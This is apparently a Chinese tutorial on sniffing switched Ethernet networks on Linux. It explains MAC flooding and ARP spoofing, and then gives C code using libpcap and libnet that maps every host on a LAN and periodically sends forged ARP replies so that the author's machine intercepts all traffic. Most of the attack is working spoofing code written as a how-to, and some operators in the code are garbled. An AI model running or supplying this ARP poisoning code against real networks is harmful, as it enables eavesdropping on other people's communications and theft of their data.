交换型网络环境嗅探原理及LINUX下的实现


1. 以太网嗅探原理
以太网环境下的嗅探本身是比较简单的 , 只要网卡能设置成混杂模式且有数据包到达网卡 , 则可用多种方法捕捉数据包并进行各种协议分析 。在Linux下可用RAW套接字 , SOCK_PACKET套接字 , LIBPCAP函数包等方法捕捉数据包 , 典型的应用程序如TCPDUMP , LINUX_SNIFFER等 。
在共享型以太网中 , 上述两个条件显然是满足的 。所有的主机都连接到HUB , 而HUB对数据包传输形式是广播 。这意味着发给某个主机的数据包也会被其它所有主机的网卡所收到 。因此在这样的环境中 , 任何设置成混杂模式的主机 , 都可以捕捉发送给其它主机的数据包 , 从而窃听网络上的所有通信 。
在交换型以太网中 , 上述条件2是不满足的 。所有的主机连接到SWITCH , SWITCH比HUB更聪明 , 它知道每台计算机的MAC地址信息和与之相连的特定端口 , 发给某个主机的数据包会被SWITCH从特定的端口送出 , 而不是象HUB那样 , 广播给网络上所有的机器 。这种传输形式使交换型以太网的性能大大提高 , 同时还有一个附加的作用:使传统的嗅探器无法工作 。
综上所述 , 交换型网络环境嗅探的核心问题是:如何使本不应到达的数据包到达本地 。通常的方法有MAC洪水包和ARP欺骗 。其中MAC洪水包是向交换机发送大量含有虚构MAC地址和IP地址的IP包 , 使交换机无法处理如此多的信息 , 致使交换机就进入了所谓的"打开失效"模式 , 也就是开始了类似于集线器的工作方式 , 向网络上所有的机器广播数据包 。(具体实现请参阅Dsniff中的macof)本文中 , 我们将要具体分析ARP欺骗模式 。
2. 相关协议数据包格式
以太数据包格式:
类型0800 :IP数据包
类型0806 :ARP数据包
ARP数据包格式:
ARP数据包简化格式
为了论述的简洁性 , 我们把ARP数据包格式做一些简化 。目的端MAC地址 源MAC地址 ARP包类型 发送端MAC地址 发送端IP地址 目的端MAC地址 目的端IP地址
3. 实验环境
为了更清楚的描述交换网络的嗅探原理 , 我们建立一个虚构的交换网络环境 , 在下面的论述中将用到这些数据.
 
4. ARP协议原理
在以太网中传输的数据包是以太包 , 而以太包的寻址是依据其首部的物理地址(MAC地址) 。仅仅知道某主机的逻辑地址(IP地址)并不能让内核发送一帧数据给此主机 , 内核必须知道目的主机的物理地址才能发送数据 。ARP协议的作用就是在于把逻辑地址变换成物理地址 , 也既是把32bit的IP地址变换成48bit的以太地址 。
每一个主机都有一个ARP高速缓存 , 此缓存中记录了最近一段时间内其它IP地址与其MAC地址的对应关系 。假如本机想与某台主机通信 , 则首先在ARP高速缓存中查找此台主机的IP和MAC信息 , 假如存在 , 则直接利用此MAC地址构造以太包;假如不存在 , 则向本网络上每一个主机广播一个ARP请求包 , 其意义是"假如你有此IP地址 , 请告诉我你的MAC地址" , 目的主机收到此请求包后 , 发送一个ARP响应包 , 本机收到此响应包后 , 把相关信息记录在ARP高速缓存中 , 以下的步骤同上 。
可以看出 , ARP协议是有缺点的 , 第三方主机可以构造一个ARP欺骗包 , 而源主机却无法分辨真假 。
5. ARP欺骗原理
假设B(2.2.2.2)要与A(1.1.1.1)通信 , 且B的ARP高速缓存中没有关于A的MAC信息 , 则B发出ARP请求包 。
此时 , B的ARP高速缓存中关于A的记录为(1.1.1.104:04:04) , 则B向A发IP包实际上是发到我的主机(4.4.4.4 , 04:04:04) 。同理 , 假如我进一步欺骗A , 让A的ARP高速缓存中关于B的记录为(2.2.2.204:04:04) , 则A向B发IP包实际上也是发到我的主机(4.4.4.4 , 04:04:04) 。最后 , 我让本机打开数据包转发 , 也既是充当路由器 , 则A , B之间能正常通信 , 但我能全部捕捉到相关数据 。
以上讨论的是欺骗两台主机 , 假如我能让局域网中每一台主机的ARP高速缓存中关于其它任意一个主机所对应的MAC地址都为我的MAC地址(04:04:04:04) , 则本局域网中所有数据包我都能捕捉到!
6. 程序设计思路
使用到的函数包
libpcap : 捕捉ARP数据包 。
libnet : 获得本机的MAC地址和IP地址;构造和发送ARP欺骗包 。
这两个的函数包的使用在网上资料很多 , 本文中不介绍 。
主要数据结构
程序中有两个全局变量 , MYIP代表本机的IP地址 , MYMAC代表本机的MAC地址 。
程序中维护一个存放主机信息的链表:
typedef strUCt host HOST;
struct host
{
unsigned long ip; // IP地址
unsigned char mac[6]; // MAC地址
int mac_flag;// 0:MAC为空 , 1:MAC不为空
HOST * next;
};

把握本局域网中每一台主机的IP地址和MAC地址信息 。
利用libpcap捕捉网络中的ARP请求/应答包 , 最大限度的提取相关信息 。如在第五节中的B对A的ARP请求包 , 我们可以提取出关于B的完整信息(2.2.2.2 , 02:02:02) , 也获得了关于A的部分信息(1.1.1.1 , null) 。在知道网络中有主机A的情况下 , 我们可以构造并发送对A的ARP请求包 , 捕捉A的ARP应答包 , 从而完整把握A的信息 。同理 , 我们也可以捕捉TCP/UDP等数据包 , 从中提取信息 。
创建一个向链表增加主机信息的函数:add_host(ip , mac) , 每收到一个ARP请求/应答包 , 都执行add_host( )两次:add_host(发送端IP , 发送端MAC) , add_host(目的端IP , 目的端MAC) 。
在收到ARP应答包时 , 首先检查发送端的IP和MAC , 假如IP不是自己的 , 但MAC是自己的 , 则说明此应答包是本机构造的ARP欺骗包 , 程序忽略 。
对于正常的ARP请求包和应答包 , add_host(ip , mac )中IP或MAC只要有一个是自己的(ip == MYIPmac ==MYMAC) , 则程序忽略 。显然 , 没有必要自己欺骗自己 。
add_host(ip , mac)遍历主机链表 , 假如IP存在 , 且MAC不空 , 则把MAC地址写入;假如不存在 , 则增加一个HOST节点 , 写入IP地址 , 假如MAC不空 , 则也把MAC地址写入 。注重到这样一个情况:在ARP请求包中 , 目的MAC地址是没有意义的 , 所以我们只写入IP地址 , 而MAC地址用NULL来表示 。这是我们收集网络拓朴结构的一种被动方法 。
函数add_host( )逻辑设计MYIP = IP(d) , MYMAC = MAC(d)
代码如下:
void add_host(u_long ip, u_char * mac)
{
HOST * new = NULL;
HOST * cur = NULL;
if( (ip == MYIP)(mac && mac_equal(mac, MYMAC)) )
return;
//遍历链表查询IP地址
for(cur = head; cur; cur = cur->next)
{
if( ip == cur->ip )
{
if( mac ) // MAC地址不空 , 则写入
{
memcpy(cur->mac, mac, ETHER_ADDR_LEN);
cur->mac_flag = 1;
}
return;
}
}
if(cur == NULL) // 链表中没有此IP地址
{
new = (HOST *)malloc(sizeof(HOST));
new->ip = ip;
if( mac )
{
memcpy(new->mac, mac, ETHER_ADDR_LEN);
new->mac_flag = 1;
}
else
new->mac_flag = 0;
new->next = NULL;
if(! head) // 把新节点加入链表
{
head = new;
tail = new;
}
else
{
tail->next = new;
tail = new;
} 
}
return;
}

周期性的向局域网中每一台主机发送ARP欺骗包 。
创建一个发送ARP欺骗包的函数send_fake_arp_packet() , 遍历主机链表的每一个IP地址 , 假如此IP地址的MAC地址已知 , 则遍历主机链表中其它IP地址 , 以其它IP地址和本机的MAC地址为发送端 , 以选中的IP地址和MAC地址为目的端 , 构造并发送ARP应答欺骗包;假如此IP地址的MAC地址未知 , 则以本机IP地址和MAC地址为发送端 , 以选中的IP地址为目的端 , 构造并发送正常的ARP请求包 。注重 , 这是我们收集网络拓朴结构的一种主动方法 。
ARP高速缓存中的记录都有过期时间 , 不同的操作系统有不同的设置.在实施中 , 我们只需以较短的时间周期性的发ARP欺骗包 , 则可解决这个问题.
代码如下:
void send_fake_arp_packet()
{
HOST * temp, * cur;
u_char broad[6] = {0xff, 0xff, 0xff, 0xff, 0xff, 0xff};

for(cur = head; cur ; cur = cur->next)
{
if( cur->mac_flag == 0)
{
// 构造ARP请求包请求此IP地址的MAC地址
libnet_build_ethernet(broad, MYMAC, ETHERTYPE_ARP, NULL, 0, packet);
libnet_build_arp(ARPHRD_ETHER, ETHERTYPE_IP, ETHER_ADDR_LEN, 4, ARPOP_REQUEST,
MYMAC, (u_char *)&MYIP, (u_char *)broad,(u_char *)&cur->ip, NULL, 0, (packetLIBNET_ETH_H));
if((libnet_write_link_layer(netif, device, packet, (LIBNET_ETH_HLIBNET_ARP_H))) < 0)
errexit("libnet_write_link_layer errorn");
continue;
}
for(temp = head; temp; temp = temp->next)
{
if (temp == cur)
continue;
libnet_build_ethernet(cur->mac, MYMAC, ETHERTYPE_ARP, NULL, 0, packet);
libnet_build_arp(ARPHRD_ETHER, ETHERTYPE_IP, ETHER_ADDR_LEN, 4, ARPOP_REPLY,
MYMAC, (u_char *)&temp->ip, cur->mac,(u_char *)&cur->ip, NULL, 0, (packetLIBNET_ETH_H));
if((libnet_write_link_layer(netif, device, packet, (LIBNET_ETH_HLIBNET_ARP_H))) < 0)
errexit("libnet_write_link_layer errorn");
}
}
}

正确处理一个以太包实际被捕捉两次的情况 。例如:捕捉到B发向A的以太包 , 第一次为(2.2.2.2 , 02:02:02)->(1.1.1.1 , 04:04:04) , 第二次为(2.2.2.2 , 04:04:04)->(1.1.1.1 , 01:01:01) 。区分这两次捕捉的规则很简单:目标IP 不为本IP且目标MAC为本MAC就是第一次;源IP不为本IP且源MAC为本MAC就是第二次 。在实际处理中 , 可任取一种包并把源/目的MAC改写 , 对另一种包忽略即可 。
7. 相关说明
这种ARP欺骗是以主机的ARP高速缓存可以动态改变为前提的 , 假如ARP高速缓存中某一IP的MAC地址被设为静态(static) , 则对关于此IP的欺骗是显然不成立的 。
为了尽快的把握网络中主机的地址信息 , 应至少对ARP请求包和ARP应答包都处理 。假如只处理ARP请求包 , 则在此刻只能把握发端主机的信息 , 并只能欺骗发端主机 。在实际的IP包捕捉中 , 就会看到单边数据包 。当然 , 在程序运行一段时间后 , 所有主机信息也能全部把握 , 但效率显然是不高的 。假如再加上对未知MAC的IP的主动请求 , 则捕捉所有数据包可在较短时间内完成 。(在实际的C类网中测试 , 不到一分钟)